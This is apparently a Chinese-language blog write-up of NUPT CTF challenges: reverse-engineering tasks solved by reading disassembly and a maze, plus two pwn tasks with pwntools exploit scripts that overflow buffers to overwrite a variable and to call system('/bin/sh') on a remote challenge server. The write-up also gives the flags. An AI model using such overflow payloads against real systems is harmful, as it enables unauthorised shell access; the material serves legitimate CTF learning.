南邮ctf

  • 会飞的鱼
  • 14 Minutes
  • November 1, 2018

re

1.hello re!

根据提示在ida中查看

意思是输入的字符串和v5比较

r看一下v5的内容

r看一下v5内容

拼出 flag{Welcome_To_RE_World!}

2.ReadAsm2

根据下面的代码得出flag

1
2
3
4
5
6
7
8
9
int main(int argc, char const *argv[])
{
char input[] = {0x0, 0x67, 0x6e, 0x62, 0x63, 0x7e, 0x74, 0x62, 0x69, 0x6d,
0x55, 0x6a, 0x7f, 0x60, 0x51, 0x66, 0x63, 0x4e, 0x66, 0x7b,
0x71, 0x4a, 0x74, 0x76, 0x6b, 0x70, 0x79, 0x66 , 0x1c};
func(input, 28);
printf("%s\n",input+1);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
00000000004004e6 <func>:
4004e6: 55 push rbp rbp入栈
4004e7: 48 89 e5 mov rbp,rsp

4004ea: 48 89 7d e8 mov QWORD PTR [rbp-0x18],rdi 第一个参数0x0入栈

4004ee: 89 75 e4 mov DWORD PTR [rbp-0x1c],esi 第二个参数0x67入栈

4004f1: c7 45 fc 01 00 00 00 mov DWORD PTR [rbp-0x4],0x1 将0x1写入[rbp-0x4]

4004f8: eb 28 jmp 400522 <func+0x3c> 跳转到400522

4004fa: 8b 45 fc mov eax,DWORD PTR [rbp-0x4] 将0x1传给eax

4004fd: 48 63 d0 movsxd rdx,eax 扩展 把0x1传给rdx

400500: 48 8b 45 e8 mov rax,QWORD PTR [rbp-0x18] 把0x00传给rax

400504: 48 01 d0 add rax,rdx rax=input[1]=1

400507: 8b 55 fc mov edx,DWORD PTR [rbp-0x4] 把0x1传给edx

40050a: 48 63 ca movsxd rcx,edx rcx=1

40050d: 48 8b 55 e8 mov rdx,QWORD PTR [rbp-0x18] rdx=[rbp-0x18]=input[0]=0

400511: 48 01 ca add rdx,rcx rdx=1

400514: 0f b6 0a movzx ecx,BYTE PTR [rdx] ecx=input[1]

400517: 8b 55 fc mov edx,DWORD PTR [rbp-0x4] edx=0x1

40051a: 31 ca xor edx,ecx input与0x1异或结果存入edx

40051c: 88 10 mov BYTE PTR [rax],dl input[1]=dl

40051e: 83 45 fc 01 add DWORD PTR [rbp-0x4],0x1 [rbp-0x4]++

400522: 8b 45 fc mov eax,DWORD PTR [rbp-0x4] 将0x1传给eax

400525: 3b 45 e4 cmp eax,DWORD PTR [rbp-0x1c] 将[rbp-0x1c]和0x1比较

400528: 7e d0 jle 4004fa <func+0x14> 如果eax小于等于[rbp-0x1c]跳到4004fa

40052a: 90 nop

40052b: 5d pop rbp

40052c: c3 ret

意思就是input[i]和1异或

得到的assci转换成字符

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
a = [0x0, 0x67, 0x6e, 0x62, 0x63, 0x7e, 0x74, 0x62, 0x69, 0x6d,

0x55, 0x6a, 0x7f, 0x60, 0x51, 0x66, 0x63, 0x4e, 0x66, 0x7b,

0x71, 0x4a, 0x74, 0x76, 0x6b, 0x70, 0x79, 0x66 , 0x1c]

s = ''

for i in range(1,len(a)):

s += chr(a[i]^i)

print (s)

得到flag{read_asm_is_the_basic}

maze

根据题目推测是走迷宫问题

放进ida里

可以知道我们要输入长度为24的字符串str且格式为nctf{str}

下面的代码涉及很多lable,查看流程图比较清晰

r将ascci码转换为字符可以发现,根据这四个字符”.“ ,”0“,”o“ , “O“分别跳到不同的位置进行操作

继续往下看,可以看到迷宫问题常用的**

所以我们在hex中查看601060地址的值

1
2
3
4
20 20 2A 2A 2A 2A 2A 2A  2A 20 20 20 2A 20 20 2A
2A 2A 2A 20 2A 20 2A 2A 2A 2A 20 20 2A 20 2A 2A
2A 20 20 2A 23 20 20 2A 2A 2A 20 2A 2A 2A 20 2A
2A 2A 20 20 20 20 20 2A 2A 2A 2A 2A 2A 2A 2A 2A

8x8的迷宫

我们要从(0,0)走到(4,4)”.“ ,”0“,”o“ , “O“分别代表上下左右

右下右右下下左下下下右右右右上上左左

flag:nctf{o0oo00O000oooo..OO}

When Did You Born

提示是栈溢出

开始输入很多a找溢出点,发现没找到。。

然后继续看源码

可以看到 name的地址v5 [bp-20]

​ age的地址 v6 [bp-18]

所以name和age之间的偏移为8

源码

要调用system(’cat flag’) 就要使age=1926,但是却又过滤了1926

结合两个变量的地址我们使用gets栈溢出,在输入name的时候覆盖age

exp:

1
2
3
4
5
6
7
8
p.interactive()from pwn import*

p=process('./test')
p.recvuntil("What's Your Birth?")
p.sendline('1111')
p.recvuntil("What's Your Name?")
payload='a'*8+p64(1926)
p.sendline(payload)

因为靶机关了,所以在本地建了个flag文件来测试

stack overflow

根据题目知道是栈溢出,但是在操作过程中没有找到溢出点

回到ida继续推理

a是message,s是name,s距离ebp有0x30的字节,原本希望在这里溢出,但是n=10为常量,无法实现长字节输入

跟随a,a和n在bss段,所以我们可以通过a越界溢出来覆盖n,将n覆盖为大一点的空间,这样就可以在输入name处实现溢出了

由于没有‘/bin/sh字符串,所以我们在覆盖n之后输入‘/bin/sh’,这里‘/bin/sh’的地址就在n之后

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import*
#context.log_level='debug'

p=remote('182.254.217.142',10001)
elf=ELF('./cgpwna')
sys_addr=elf.symbols['system']

p.recvuntil('your choice:')
p.sendline('1')
payload1='a'*40+p32(0x80)+'/bin/sh'
p.recvuntil('you can leave some message here:\n')
p.sendline(payload1)
payload2='a'*(0x34)+p32(sys_addr)+p32(0xaaaaaaaa)+p32(0x0804A0AC)
p.recvuntil('your name please:\n')
p.sendline(payload2)


p.interactive()